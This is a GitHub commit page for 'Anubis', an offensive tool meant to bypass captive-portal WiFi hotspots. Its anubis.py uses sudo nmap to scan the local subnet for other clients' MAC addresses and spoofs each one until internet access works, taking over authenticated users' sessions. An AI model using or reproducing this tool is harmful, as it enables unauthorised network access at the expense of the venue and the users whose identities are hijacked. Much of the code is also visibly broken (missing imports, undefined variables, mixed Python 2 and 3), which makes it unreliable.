Skip to content

Commit

Permalink
Fix
Browse files Browse the repository at this point in the history
  • Loading branch information
sundaysec committed Jan 17, 2019
1 parent 1f2737c commit 0140cc8
Show file tree
Hide file tree
Showing 8 changed files with 104 additions and 82 deletions.
16 changes: 6 additions & 10 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,8 +1,5 @@
# Anubis Captive Wifi Hotspot bypass

>Unfortunately sundaysec is experiencing <b>Kernel Panic</b> called examinations...
>Will commit soon :)
[A Web page used on public-access networks that require a user to view and interact with before being granted access to the public network. Captive portals are widely used by businesses that offer free Wi-Fi hotspots to Internet users. Usually a captive portal requires users to read and accept the business' acceptable use policy (AUP).](https://www.webopedia.com/TERM/C/captive_portal.html)

Many institutions use this type of authentication in the WIFI as a 'sure' means of preventing unauthorised access.
Expand Down Expand Up @@ -31,17 +28,16 @@ Installing anubis

Clone the anubis project files

`git clone https://github.com/sundaysec/anubis.git`

`git clone --recursive https://github.com/sundaysec/anubis.git`

Navigate to src in the cloned folder

`cd ./anubis/src`
Navigate to the cloned folder

Run the installer to check dependencies
`cd ./anubis/`

Run the installer
`chmod +x ./installer.sh ; ./installer.sh`

Run the main python file
Run anubis

`cd .. ; python anubis.py`
`python anubis.py`
Binary file added __pycache__/anubis.cpython-36.pyc
Binary file not shown.
109 changes: 86 additions & 23 deletions anubis.py
100644 → 100755
Original file line number Diff line number Diff line change
@@ -1,9 +1,11 @@
#!/usr/bin/env python3
#!/usr/bin/env python
# -*- coding: utf-8 -*-

#########################################################################
# DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
# Version 2, December 2004
#
# Copyright (C) 2018 Sunday Philemon philemonsunday202@gmail.com
# Copyright (C) 2018-2019 Sunday Philemon philemonsunday202@gmail.com
#
# Everyone is permitted to copy and distribute verbatim or modified
# copies of this license document, and changing it is allowed as long
Expand All @@ -12,34 +14,95 @@
# DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
# TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
#
# 0. You just DO WHAT THE FUCK YOU WANT TO.
# 0. You just DO WHAT THE FUCK YOU WANT TO
########################################################################


import os
from src import banner
import sys
import subprocess
from platform import system as platform, release, node
# import subprocess
from os import system, curdir
import argparse as arg
import argcomplete
from argcomplete import autocomplete
import nmap
import urllib2
# import itertools

#vars
cwd = os.getcwd()
host = os.platform()
ostype = platform()
release = release()
node = node()

#arguments
parser = arg.ArgumentParser()
parser = arg.ArgumentParser(description="\033[1;31mAnubis - Captive Portal Bypass\033[1;m")
parser.add_argument("-i", "--interface", help="The active interface used (Default:wlan0)", default="wlan0")
parser.add_argument("-r", "--range", help="The range of scan(Default:24)", default=24)
parser.add_argument("-a", "--address", help="Ip address")

#For argument autocomplete
argcomplete.autocomplete(parser)
q = parser.parse_args()

#Simple oop
class anubis:
def __init__(self, interface, range):
self.iface = interface
self.rng = range

def scan(self):
pass
#Continue
autocomplete(parser)
argument = parser.parse_args()

def test_connection():
try:
urllib2.urlopen('http://216.58.192.142', timeout=1)
return True
except urllib2.URLError as err:
return False

def iface_ip(iface):
"""Derives ip address from the interface"""
try:
from socket import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(
s.fileno(),
0x8915,
struct.pack('256s', str(self.iface[:15]))
)[20:24])
except IOError as e:
return ""
ip = ""

def scan_mac(ip, iface='wlan0'):
"""Scans mac addresses in /24 range and return scan list"""
s = nmap.PortScanner()
print("Scanning...")
y = s.scan(hosts=ip + '/24',arguments='-sP '+ iface, sudo=True)
scan = y.get('scan')
mac_list = []# Initialise empty list
for i in scan.keys():# Add mac addresses to the list
mac_list.append(scan.get(scan.keys()[scan.keys().index(i)]).get('addresses').get('mac'))
return mac_list

def set_mac(mac_list, iface):
"""Sets mac addresses from mac list using SpoofMAC submodule"""
try:
for i in mac_list:
system(sys.executable + '' + curdir + 'core/SpoofMAC/spoofmac.py set ' + i + ' '+ iface )#Run SpoofMAC
if test_connection() == True:
break
return True#successfully exploited
else:
print "MAC {} not successful".format(i)
except IndexError:
pass
except ValueError:
pass

# print help if no arguments detected
if len(sys.argv)==1:
print("""\033[1;31m
█████╗ ███╗ ██╗██╗ ██╗██████╗ ██╗███████╗
██╔══██╗████╗ ██║██║ ██║██╔══██╗██║██╔════╝
███████║██╔██╗ ██║██║ ██║██████╔╝██║███████╗\033[1;32m
██╔══██║██║╚██╗██║██║ ██║██╔══██╗██║╚════██║
██║ ██║██║ ╚████║╚██████╔╝██████╔╝██║███████║
╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝\033[1;34m
Running on {} {} {}
\033[1;m""").format(ostype,release,node)
system(sys.executable + ' '+ curdir +'/anubis.py --help')

else:
ip = iface_ip(argument.interface)
list = scan_mac(ip, iface)
set_mac(list, iface )
Binary file added anubis.pyc
Binary file not shown.
10 changes: 9 additions & 1 deletion src/installer.sh → installer.sh
100644 → 100755
Original file line number Diff line number Diff line change
Expand Up @@ -50,8 +50,16 @@ else
py3=False
fi

#Install Pip for python3
sudo apt-get install python3-pip -y
if [ $? -eq 0 ]; then
echo "${green}[✔]Pip3 successfully installed${normal}"
else
echo "${red}[✘]Pip3 has not installed${normal}"
fi

#Check internet connection
# Can also use ping http://www.msftncsi.com/ncsi.txt
# Alt ping http://www.msftncsi.com/ncsi.txt
wget -q --spider http://google.com

if [ $? -eq 0 ]; then
Expand Down
3 changes: 3 additions & 0 deletions requirements.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
python-nmap
argcomplete
itertools
48 changes: 0 additions & 48 deletions src/banner.py

This file was deleted.

File renamed without changes.

0 comments on commit 0140cc8

Please sign in to comment.